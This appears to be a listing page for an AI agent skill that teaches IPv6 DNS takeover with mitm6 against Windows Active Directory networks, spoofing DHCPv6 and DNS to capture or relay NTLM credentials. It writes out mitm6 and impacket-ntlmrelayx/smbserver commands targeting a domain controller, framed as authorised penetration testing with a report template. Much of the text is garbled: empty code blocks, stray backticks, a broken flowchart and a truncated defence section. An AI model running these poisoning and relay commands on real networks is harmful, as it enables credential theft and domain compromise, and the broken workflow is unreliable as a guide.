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ipv6-dns-takeover-mitm6

Exploit modern Windows environments that prefer IPv6 by using mitm6 to intercept and spoof DHCPv6 and DNS traffic. This skill covers how to poison DNS resolution for the local network, forcing NTLM authentication to a rogue server for credential capture or relay.

The English summary is being prepared. Showing the original description.

See how to install

Files included (3)

  • SKILL.md3.8 KB
  • evals/evals.json532 B
  • scripts/process.py7.8 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

IPv6 DNS Takeover via mitm6

When to Use

  • When operating in an Active Directory internal network and traditional IPv4 poisoners (like Responder/LLMNR/NBT-NS) are disabled or ineffective.
  • To take advantage of Windows' default behavior of preferring IPv6 over IPv4, seizing control of internal DNS resolution to intercept NTLMv2 hashes or relay authentication.

Prerequisites

  • Network access to the target subnet (VPN, pivot, or direct connection)
  • Nmap and relevant network scanning tools installed
  • Understanding of TCP/IP, common protocols, and network segmentation
  • Root/admin access on the attack machine for raw socket operations

Workflow

Phase 1: Understanding the IPv6 Preference

# Concept: By default ```

### Phase 2: Running mitm6

```bash
# # mitm6 -d targetdomain.local -i eth0

Phase 3: Setting up the Relay or Capture

# impacket-ntlmrelayx -6 -t ldaps://domain-controller.targetdomain.local -wh attacker-wpad -l lootdir/

# # impacket-smbserver -smb2support share /tmp/loot (with responder running )

Phase 4: Exploiting the Spoofed Traffic

# ```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Start mitm6 ] --> B{Traffic Intercepted? ]}
    B -->|Yes| C[Relay NTLM ]
    B -->|No| D[Check Network ]
    C --> E[Execute commands ]

🔵 Blue Team Detection & Defense

  • Disable IPv6: Implement DHCPv6 Snooping: Network Segmentation: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ipv6 Dns Takeover Mitm6 — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

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